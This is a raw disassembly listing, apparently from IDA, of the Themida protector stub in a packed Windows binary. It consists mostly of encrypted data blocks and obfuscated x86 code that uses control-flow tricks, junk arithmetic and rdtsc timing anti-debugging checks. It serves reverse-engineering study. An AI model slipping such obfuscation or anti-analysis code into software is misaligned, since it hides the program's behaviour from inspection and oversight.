dd 0DFC06EF4h, 71AAF7B2h, 31F5149h, 901833B6h, 80AD6C0Fh
dd 564F58C5h, 85CC6FD0h, 62A4C218h, 0B6031F26h, 4C4CFE1Ch
dd 36B6031Fh, 72F4241Dh, 2C9E21ADh, 82CE57C4h, 0E54A0321h
dd 0F30D8355h, 7F68DCC9h, 9ED77639h, 61E58768h, 9E10E327h
dd 9D76A12Ch, 6F0EB11Bh, 826DF926h, 1506ABE2h, 33761C83h
dd 0E1426BEEh, 0B4F2BBDAh, 0FC21680Bh, 303h, 0CBB02600h
dd 8C1158FFh, 0F4397013h, 0E340092Bh, 0C06D2042h, 2E733E5Fh
dd 1499D475h, 7DA2E78Bh, 60CD84A4h, 4AD792BFh
; ---------------------------------------------------------------------------
cli
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], ebp
push edx
mov edx, 0F261E89h
and edx, 705F0D27h
sub edx, 3C7E5CCFh
or edx, 20D365E4h
shl edx, 1
and edx, 11B91251h
sub edx, 0FAFDCD98h
mov eax, edx
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push 6D4Bh
mov [esp], eax
sub dword ptr [esp], 60B5474Bh
pop dword ptr [ebp+8]
add dword ptr [ebp+8], 60B5474Bh
push dword ptr [esp]
pop ebp
add esp, 4
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_5517CE
; ---------------------------------------------------------------------------
dw 40FEh
; ---------------------------------------------------------------------------
js short locret_57FE4A
loc_57FDDA: ; CODE XREF: Themida_:loc_57DDDEj
mov eax, 6AB6330h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 5Ah
dd 0EF106D03h, 0B002C9E8h, 0DF70E816h, 0C1CCA96h, 0D72BCA7Ah
dd 0BD11C50Ah, 8861CAE3h, 8D4407D8h, 0E834325Ch, 6, 714B9ACCh
dd 0B9581B26h, 7D1349DEh, 6392C081h, 6E90000h, 93000000h
dd 19EB38C2h, 18B9BFE4h, 37B20000h, 0CE8188Bh, 12000000h
dd 6846DB38h, 552200E0h, 66C90A0Dh, 0E8CAE281h
db 5Eh, 81h
; ---------------------------------------------------------------------------
locret_57FE4A: ; CODE XREF: Themida_:0057FDD8j
retn
; ---------------------------------------------------------------------------
db 0D4h ; Ô
db 0E8h ; è
db 7Eh ; ~
db 63h ; c
db 0E9h ; é
db 0Eh
db 0
db 0
db 0
dd 0A8F470AFh, 5B822D09h, 9C066C93h, 0F3816654h, 0CFCD2E7h
dd 7E9h, 2E52800h, 0E534415h, 21AFC381h, 0FB553B2h, 0C2811889h
dd 5651CD29h, 1931E881h, 800F6C7Fh, 3, 81F2BF0Fh, 7F192DC0h
dd 516CBE6Ch, 0F4F13BDh, 0FFFF8B85h, 14E9FFh, 11E00000h
dd 0B55AA670h, 97EA394Ah, 9E5EC052h, 0C9709ACBh, 12E80C8Fh
dd 3F000000h, 128A7F01h, 547B110Dh, 0CA5300B7h, 6DCBB785h
dd 815BF5D5h, 500922C6h, 0FAC38106h, 0F5000058h, 161F68h
dd 12E800h, 0E3B50000h, 14A29061h, 6FA97C25h, 278A0218h
dd 6328507Fh
; ---------------------------------------------------------------------------
pop ecx
pop eax
loc_57FF02: ; CODE XREF: Themida_:0057FF3Cj
push dword ptr [ebx]
adc ecx, 30849DB6h
pop edx
mov ecx, 161DC819h
sub edx, 2F9ED471h
movsx ecx, cx
add edx, 4F8CC529h
mov cx, di
add edx, 0E38EDF9h
movsx ecx, cx
mov [ebx], edx
mov edi, 191034E0h
sub ebx, 4
cmc
sub eax, 1
jnz loc_57FF02
movzx ecx, si
jmp loc_58034A
; ---------------------------------------------------------------------------
align 4
db 0
align 2
a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah
db 0Dh,'Please, contact support@oreans.com. Thank you!',0
align 10h
dd 25h dup(0)
db 2 dup(0)
word_580046 dw 0 ; DATA XREF: ___:off_43285Co
; ___:00432864o ...
dd 0BDh dup(0)
dd offset loc_55FFFF+1
dd offset dword_445750+0A8B0h
dd 0
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_58034A: ; CODE XREF: Themida_:0057FF45j
jmp loc_581482
; ---------------------------------------------------------------------------
push 0
push edx
call sub_58035A
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58035A proc near ; CODE XREF: Themida_:00580352p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_58035A endp
; ---------------------------------------------------------------------------
mov ds:257DA5BDh, al
or ecx, [ebp+9]
jmp loc_58037E
; ---------------------------------------------------------------------------
db 0C8h
; ---------------------------------------------------------------------------
rol dword ptr [ebx-63049C83h], cl
loc_58037E: ; CODE XREF: Themida_:00580372j
mov eax, [ebp+6A8069Dh]
sub [ebp+6A80E65h], eax
cmp [esp+4], eax
jnz loc_580412
pusha
jl loc_5803A1
mov eax, [ebp+6A82F0Dh]
loc_5803A1: ; CODE XREF: Themida_:00580395j
sub edi, [ebp+6A82261h]
popa
cmp dword ptr [ebp+6A80A99h], 0
jz loc_580412
push 0
push esi
call sub_5803C0
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5803C0 proc near ; CODE XREF: Themida_:005803B8p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_5803C0 endp
; ---------------------------------------------------------------------------
mov dh, 0A2h
or al, [ecx]
lea eax, [ecx+31h]
test al, 6
mov [ebp+6A826A5h], ecx
lea eax, [ebp+6A83AC3h]
jnp loc_5803F1
xor [ebp+6A82C71h], edi
loc_5803F1: ; CODE XREF: Themida_:005803E5j
jmp eax
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5803FE
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5803FE proc near ; CODE XREF: Themida_:005803F6p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5803FE endp
; ---------------------------------------------------------------------------
dw 4231h
db 50h, 35h
; ---------------------------------------------------------------------------
loc_580412: ; CODE XREF: Themida_:0058038Ej
; Themida_:005803AFj
mov eax, [ebp+6A80D2Dh]
push 0
push ecx
call sub_580423
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580423 proc near ; CODE XREF: Themida_:0058041Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_580423 endp
; ---------------------------------------------------------------------------
db 82h
dd 0CB6229D8h, 0E840Fh, 89600000h, 0A8218995h, 1FC28106h
dd 616C0CBEh, 4244439h, 64850Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 8E0F4FC3h
dd 8, 2860Fh, 61600000h, 693985C7h, 106ABh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 8960F1C3h, 0A81411BDh, 0DD858B06h, 6106A81Eh, 16D98501h
dd 96006A8h, 0A825A19Dh, 0AE906h, 85890000h, 6A82985h
dd 0
; ---------------------------------------------------------------------------
mov eax, 1
loc_5804D5: ; CODE XREF: Themida_:005804DDj
xchg eax, [ebp+6AB6ABFh]
or eax, eax
jnz short loc_5804D5
push dword ptr [ebp+6A815D5h]
pop dword ptr [ebp+6AB6931h]
push 20h
push 0FFFFFFFFh
call dword ptr [ebp+6A80F89h]
cmp dword ptr [ebp+6A80629h], 0
jz short loc_580506
push 0
call dword ptr [ebp+6A81B31h]
loc_580506: ; CODE XREF: Themida_:005804FCj
cmp dword ptr [ebp+6A81FE5h], 1
jz short loc_58051C
push 80h
push 0FFFFFFFFh
call dword ptr [ebp+6A80F89h]
loc_58051C: ; CODE XREF: Themida_:0058050Dj
stc
push 0
push edx
call sub_580528
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580528 proc near ; CODE XREF: Themida_:00580520p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_580528 endp
; ---------------------------------------------------------------------------
dd 0AE7EFCA3h, 13E9h, 0EF612800h, 139038D1h, 1A1A5A3Dh
dd 0EC71F15Ah, 0B11F510Eh, 8D89C02Bh, 6A80031h, 2824548Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B0C35242h
dd 7D858963h, 6A06A80Eh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 0FB19C357h, 0E9D1C242h
dd 6, 3532564Bh, 0F6017E0h, 689h, 75B50100h, 8906A833h
dd 0A83191B5h, 3CBE6106h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 7661C355h
dd 68E0Fh, 95010000h, 6A821E1h, 24247403h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 39C35545h, 0AD9D29C3h
dd 6606A82Ah, 75BD89ADh, 306A831h, 6A242444h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 2900C357h, 892021FAh, 8509DD67h, 6A82FD9h, 60525050h
dd 0DE8h, 1828FF00h, 87250165h, 3C1F263Dh, 52586E00h, 310F615Ah
dd 14E9h, 0B7A50F00h, 0FD75EEBh, 0EC40F21Dh, 0A35B72EFh
dd 0CAA42196h, 89585AA0h, 6A2404h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 8D8993C3h, 6A806F1h
dd 6A78408Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 0E9BCC352h, 0Eh, 9916B9EFh, 0B3996E4Bh
dd 9CE40A56h, 8D0F01B2h, 6, 1A758589h, 0BD8306A8h, 6AB6939h
dd 0FA850F00h, 0F000000h, 18Ah, 8529FC00h, 6A80E4Dh, 60525090h
dd 13E8h, 0AFBB7B00h, 41AECAF2h, 0FF21241h, 0F71D320Eh
dd 8513B8B8h, 0F52505Fh, 61585A31h, 0BA60310Fh, 61BA5D5Dh
dd 61D18B66h, 0F50585Ah, 1082h, 0BE900h, 0C4860000h, 0C064A044h
dd 0C464D430h, 6A90F2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 9E8439C3h, 519589F5h, 8B06A801h
dd 6A2C2444h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 8984C356h, 0A833459Dh, 8A0F9006h
dd 12h, 52505250h, 585A310Fh, 5250310Fh, 585A310Fh, 6050585Ah
dd 0C28A5853h, 85299061h, 6A819F5h, 3C37858Dh, 8C0F06ABh
dd 6, 9019D01h, 0D0FF06A8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 69C35747h, 24440317h, 8E928h, 0C14D0000h
dd 63ED9637h, 408B3DABh, 55006A18h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 38202A1Eh, 6A400179h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 0A017C353h, 840AF6B1h, 60602131h, 2DA58D0Bh
dd 0B52306A8h, 6A81FA5h, 61D4B561h, 69358589h, 0B58906ABh
dd 6A806B1h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1404h, 0C3564600h, 78708B0Ah, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 62C35747h, 0F9237207h, 6A1CC683h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 0C531C355h, 719529F5h, 9606A80Fh, 19919589h
dd 7C8106A8h, 2424h, 870F1000h, 0C9h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 4CC35141h, 0E58D898Ch, 906A82Fh
dd 0A80FC185h, 66605006h, 0F08BF98Bh, 24048961h, 24448BF5h
dd 1890F28h, 0F5000000h, 8850F90h, 0F000000h, 281h, 50616000h
dd 0CE95250h, 0A2000000h, 0BC3EC211h, 6314E0h, 0FFFC44Fh
dd 6E931h, 403D0000h, 3D740481h, 0FC90585Ah, 3C37858Dh
dd 0FFFC06ABh, 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 0D76A8EB9h, 0E96090FBh
dd 0Ah, 1DC80C42h, 6602745h, 8166B448h, 61A39DEAh, 10E9h
dd 0C4075400h, 43E78877h, 1A3B97D9h, 32E06A11h, 6A96EFh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 800F05C3h, 1, 12E9F5h, 0B0F20000h, 8F324078h, 0CAC087Fh
dd 59CEDE92h, 7711F1FAh, 24247403h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 77C35646h, 0BDDFE7C4h, 625BD3C0h
dd 0A5B58B60h, 6106A82Dh, 0E850Fh, 9E90000h, 1000000h
dd 0A94955C6h, 0C11374F2h, 317DBD8Dh, 6A06A8h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 32374DC3h, 0DD11F76Ch, 0A860FDEh, 60000000h, 5F90D6BAh
dd 0D4D5800Eh, 14E86061h, 0B9000000h, 29682F6h, 6D482528h
dd 0F72E69E4h, 97B38893h, 0F9E6665h, 0E958F9BFh, 5, 4BC42A5h
dd 60AD6141h, 24ED8D03h, 9D8B06A8h, 6A81B29h, 13E961h
dd 0BB20000h, 9722FA60h, 5E928C5Ah, 0CC7649B8h, 0C82AF691h
dd 247C81DBh, 24h, 23870F10h, 6A000001h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 0C030C350h
dd 608AC60Ch, 8BF28B66h, 0A80685B5h, 0E9906106h, 6, 5DE8B81h
dd 50500E12h, 10E952h, 0A6800000h, 1A043F6Ah, 0B8DB5A24h
dd 63863F5Ch, 310FBD3Ah, 2830Fh, 61600000h, 6A90585Ah
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 0FFCDC351h, 0F4945B7h, 68Ah, 25B50900h, 8B06A832h
dd 6A282444h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 9819C357h, 8F0FA7AEh, 16h, 11E9h
dd 0B7154700h, 1F65B65Bh, 71557E65h, 3EF15188h, 896099D1h
dd 0A82691BDh, 5061FC06h, 14E9h, 0C3A78700h, 2614354Eh
dd 83157B80h, 401CB31Fh, 83824576h, 24048922h, 5E9h, 5EAA6700h
dd 858D6AC0h, 6AB3C37h, 0A2CA8160h, 8979BE86h, 0A8314995h
dd 0D0FF6106h, 11E9h, 0DA4FF600h, 0B595A243h, 533B3EFBh
dd 0EAC41C57h, 44035AF4h, 8E0F2424h, 6, 17559D01h, 0F5AB06A8h
dd 0FA81h, 820F0001h, 69Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 60C35242h, 0DE960h, 0D2540000h, 0AAAF433Dh
dd 0A125B356h, 61A9252Bh, 1445BD8Dh, 316006A8h, 0A82B5DBDh
dd 0AF08106h, 615C0592h, 13E9ADh, 4ED60000h, 4044E472h
dd 73D45D0Eh, 6E1225CAh, 0F358C5C2h, 247C815Ch, 24h, 61870F10h
dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 615DC353h, 1248C48Ah, 0E9609EF3h
dd 0Ah, 534A5FAh, 0DDE8E080h, 0B9664C6Fh, 29614534h, 0A8077995h
dd 52509006h, 14E9h, 0BBC9F400h, 0CDF2D875h, 1C30983Bh
dd 5136DC2Fh, 580C3217h, 60310FD0h, 890Fh, 0B3BF0000h
dd 61102F9Bh, 0F50585Ah, 1E87h, 0E9525000h, 0Dh, 2B911B7Fh
dd 0ACE899F5h, 0B10E96Ch, 50310F0Eh, 5A310F52h, 90585A58h
dd 12E9h, 99055F00h, 511DFC18h, 74DF284Ch, 0E77AAC6Eh
dd 8B6967E5h, 6A282444h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 0DD53C352h, 0E9525090h
dd 0Eh, 0E59EB0C8h, 0A765F78h, 0CEB40704h, 310FB157h, 68D0Fh
dd 52500000h, 585A310Fh, 0E950585Ah, 9, 56757118h, 9719FC34h
dd 0CE9907Bh, 0F6000000h, 64C426A0h, 459B75B4h, 8D5967D5h
dd 0AB3C3785h, 459D0106h, 0F06A80Eh, 1880h, 12840F00h
dd 0E9000000h, 0Dh, 2BE47770h, 0F866975Eh, 33821518h, 6AD0FFC3h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 2312C351h, 0BD89F949h, 6A82D81h, 24244403h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0F0C35646h
dd 3FF10025h, 11E950F5h, 0B000000h, 3A4243BAh, 0FCD598C6h
dd 9A50A1A8h, 1B635D57h, 6A240489h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 897AC350h
dd 0A80D2185h, 158D2906h, 0E906A811h, 12h, 0C6AD516h, 6911EB70h
dd 0DC9B26F1h, 46AF8FE2h, 6AAB6C34h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 9027C357h
dd 9670A1C8h, 0BD8DF420h, 6A813F9h, 0F6D9589h, 870F06A8h
dd 7, 1810Fh, 0ADF50000h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 94C35040h, 247C8106h, 28h, 0B5870F10h
dd 0F9000000h, 12E950F9h, 82000000h, 4CAF356Bh, 0E5FDB3AEh
dd 0E42CE1C5h, 0E50FAF8Eh, 240489DFh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 36C35545h, 0BE655F3Dh, 8589D9CCh
dd 6A8210Dh, 2C24448Bh, 0C860Fh, 890F0000h, 6, 17819D09h
dd 0E95006A8h, 13h, 808D583Fh, 0C79B7F98h, 0A6D43AE8h
dd 71D8FAB6h, 8940ED35h, 8DFC2404h, 0AB3C3785h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0F15CEA5Ch, 0A8C0Fh, 0B0600000h, 0B5BD89F4h, 6106A80Eh
dd 9531D0FFh, 6A822D9h, 28244403h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 34C35242h, 9E1FF8F3h, 7E9DAh
dd 89320000h, 0CD950A41h, 559D3194h, 0AB06A82Eh, 1840Fh
dd 5EFC0000h, 69358DFFh, 0BD8306ABh, 6AB6935h, 330A7500h
dd 26B58DC0h, 0FF06AB78h, 81AD56E6h, 28247Ch, 77100000h
dd 448B500Eh, 8D502C24h, 0AB3C3785h, 3D0FF06h, 97282444h
dd 858ADF8Bh, 6AB6931h, 474C084h, 4C75073Ah, 0AEC03257h
dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h
dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 0E7D85FFh
dd 5DE906A8h, 5EFFFFFFh, 2B89BD89h, 6A06A8h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 8BB577C3h
dd 0A80E7D85h, 0D78B6006h, 6AE0D161h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0D479C356h
dd 30F48060h, 5E8h, 2EB7C200h, 8D0FC6B5h, 0
; ---------------------------------------------------------------------------
pop ebx
popa
add eax, [ebp+6A813F9h]
push 0
push ecx
call sub_5810BF
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5810BF proc near ; CODE XREF: Themida_:005810B7p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5810BF endp
; ---------------------------------------------------------------------------
and al, 0EFh
fisub dword ptr [ebx+2Eh]
leave
mov esi, 0
mov [ebp+6A8159Dh], edi
xchg eax, esi
xor [ebp+6A80831h], edx
lodsw
push 0
push edx
call sub_5810F4
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5810F4 proc near ; CODE XREF: Themida_:005810ECp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5810F4 endp
; ---------------------------------------------------------------------------
retf 0D590h
; ---------------------------------------------------------------------------
shl eax, 2
cld
cmc
add eax, [ebp+6A8317Dh]
pusha
add eax, [ebp+6A81F61h]
mov [ebp+6A81505h], ecx
popa
xchg eax, esi
push 0
push esi
call sub_58112C
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58112C proc near ; CODE XREF: Themida_:00581124p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_58112C endp
; ---------------------------------------------------------------------------
dd 0F6093EFh, 890FD1B7h, 6, 8C0Fh, 0AD610000h, 0FE9h, 0DCBF9400h
dd 9D9195E6h, 47D5A5E5h, 67529C84h, 24247C81h, 10000000h
dd 9B870Fh, 61600000h, 60525050h, 0C52D37BBh, 615E5603h
dd 8D0F310Fh, 6, 310F5250h, 585A585Ah, 6A240489h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 858AC357h, 8B2BE377h, 29282444h, 0A806E585h, 8C0F5006h
dd 0Eh, 890F5250h, 0
dd 6160310Fh, 489585Ah, 9589F824h, 6A82149h, 3C37858Dh
dd 0BD2906ABh, 6A80BB5h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 3174CEC3h, 0A801F185h
dd 24440306h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 0D11C73Ah, 89FC768Eh, 601C2444h
dd 0BD8926B1h, 6A80589h, 0D585C661h, 6A815h, 6ABF85C7h
dd 6ABh, 85C70000h, 6AB6939h, 0
; ---------------------------------------------------------------------------
sub [ebp+6A82879h], edi
jmp loc_581275
; ---------------------------------------------------------------------------
cmp al, 7Ah
pop ss
xchg eax, ebp
dec eax
std
cld
xor [eax-0Dh], dl
aam 39h
or al, 69h
loc_581275: ; CODE XREF: Themida_:00581262j
popa
jle locret_58127D
cmc
locret_58127D: ; CODE XREF: Themida_:00581276j
retn 8
; ---------------------------------------------------------------------------
pusha
jmp loc_58128B
; ---------------------------------------------------------------------------
dw 0BBE2h
; ---------------------------------------------------------------------------
aam 41h
scasd
loc_58128B: ; CODE XREF: Themida_:00581281j
jmp loc_58129E
; ---------------------------------------------------------------------------
dd 0E06C55BBh, 0EFC72824h, 14127BA7h
; ---------------------------------------------------------------------------
aad 50h
loc_58129E: ; CODE XREF: Themida_:loc_58128Bj
popa
mov eax, [ebp+6A8317Dh]
push 0
push ebp
call sub_5812B0
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5812B0 proc near ; CODE XREF: Themida_:005812A8p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5812B0 endp
; ---------------------------------------------------------------------------
dd 5EA79C27h, 0E32A333Bh, 0F4A00ECh, 681h, 0D08A6000h
dd 60615A51h, 60524EB6h, 6B615B61h, 6A04D2h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 464AC0C3h
dd 8B60C0F9h, 0A815FD9Dh, 0D1BD8B06h, 6106A80Fh, 0BD31C203h
dd 6A80AD1h, 6E996h, 0E2B80000h, 61CFC593h, 0D8B360ADh
dd 6890Fh, 9D8B0000h, 6A82975h, 247C8161h, 24h, 8870F10h
dd 60000001h, 0DE9h, 6EF3E200h, 80B7D4B1h, 0F5B4E4A2h
dd 5061806Ch, 0EE9h, 0BD12000h, 0EBB6C939h, 414B4A6Fh
dd 893B4BF4h, 8BF92404h, 6A282444h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 6832C350h
dd 0CCD29D2Ch, 0E70619ADh, 12E960h, 62230000h, 1F1A610Dh
dd 9D937A80h, 0BDC2367Fh, 907BF05h, 13E8h, 0B2161000h
dd 0C68B2923h, 4CFD58CFh, 3CA38994h, 342E5424h, 17718D8Bh
dd 615906A8h, 0BE9h, 4F0FB900h, 3627AB5Dh, 0E89D123Ah
dd 9E990h, 41AD0000h, 0BAF195C6h, 5020E6C1h, 8F0F5250h
dd 6, 8E0Fh, 310F0000h, 61605250h, 5250310Fh, 585A310Fh
dd 585A585Ah, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 8D47C886h, 0AB3C3785h, 29953106h
dd 0FF06A81Eh, 8F0F60D0h, 6, 59D852Bh, 0E96106A8h, 0FFFFFDBDh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0F4C35242h
dd 0A9D228E9h, 0CE915h, 67920000h, 0F30DB41Ch, 4F9B87E3h
db 0A9h, 48h
; ---------------------------------------------------------------------------
loc_581482: ; CODE XREF: Themida_:loc_58034Aj
lea eax, [ebp+6AB7E2Eh]
jmp loc_58149D
; ---------------------------------------------------------------------------
pop ds
mov ebx, 20EC0373h
push 0FFFFFFA9h
popf
dec ebp
fild dword ptr ds:88873A0Dh
loc_58149D: ; CODE XREF: Themida_:00581488j
push eax
jo loc_5814B6
push eax
push edx
push eax
push edx
rdtsc
pop edx
pop eax
rdtsc
push eax
push edx
rdtsc
pop edx
pop eax
pop edx
pop eax
loc_5814B6: ; CODE XREF: Themida_:0058149Ej
mov [esp], eax
push 0
push esi
call sub_5814C4
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5814C4 proc near ; CODE XREF: Themida_:005814BCp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_5814C4 endp
; ---------------------------------------------------------------------------
push eax
adc eax, eax
mov [ebp+6A82D79h], ebx
push large dword ptr fs:0
mov [ebp+6A81C09h], ebx
mov eax, [esp]
push 0
push edx
call sub_5814F8
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5814F8 proc near ; CODE XREF: Themida_:005814F0p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5814F8 endp
; ---------------------------------------------------------------------------
mov [ecx+0Ah], eax
jmp loc_581521
; ---------------------------------------------------------------------------
dd 0D7640560h, 0E3BFC105h, 0B56DAB73h, 9CBF54C3h
db 0DFh
; ---------------------------------------------------------------------------
loc_581521: ; CODE XREF: Themida_:0058150Bj
jno loc_58152D
add [ebp+6A814C9h], edx
loc_58152D: ; CODE XREF: Themida_:loc_581521j
mov [ebp+6A81EADh], eax
push 0
push ecx
call sub_58153E
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58153E proc near ; CODE XREF: Themida_:00581536p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_58153E endp
; ---------------------------------------------------------------------------
dw 0D54Dh
dd 7A46CD5Fh, 0A36E7519h, 64DB531h, 896406A8h, 25h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 0F6F4F31h, 681h, 718D8900h, 8906A802h, 0A832ADBDh, 0D9858D06h
dd 6A06AB7Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 7BE0C357h, 0F016089h, 68Dh, 198D8900h
dd 0E906A809h, 29Ch, 6810Fh, 95290000h, 6A82E0Dh, 0E8DB8Bh
dd 5D000000h, 7BD2ED81h, 9CBC06ABh, 830012FFh, 0A81FE5BDh
dd 18740006h, 0D19858Bh, 0C606A8h, 0A1858B00h, 0C606A832h
dd 95FF0000h, 6A80081h, 3DB5FF60h, 8D06AB65h, 0AB654185h
dd 858D5006h, 6AB6739h, 3595FF50h, 8306A822h, 6A610CC4h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 4667C352h, 72EF93Ch, 0D9B5890Eh, 6A06A80Fh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 35BFC357h, 0B5311A4Bh, 6A8140Dh, 6739B58Dh
dd 9D0106ABh, 6A802EDh, 22DDBD8Dh, 870F06A8h, 6, 250D9501h
dd 3E8006A8h, 0AD840F00h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 95A1C357h
dd 9E97232h, 77000000h, 22024028h, 0F24E564Fh, 0BE960h
dd 0D6F50000h, 758C937Bh, 0E24CE03h, 0CD9529B9h, 6106A82Eh
dd 56006AA4h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
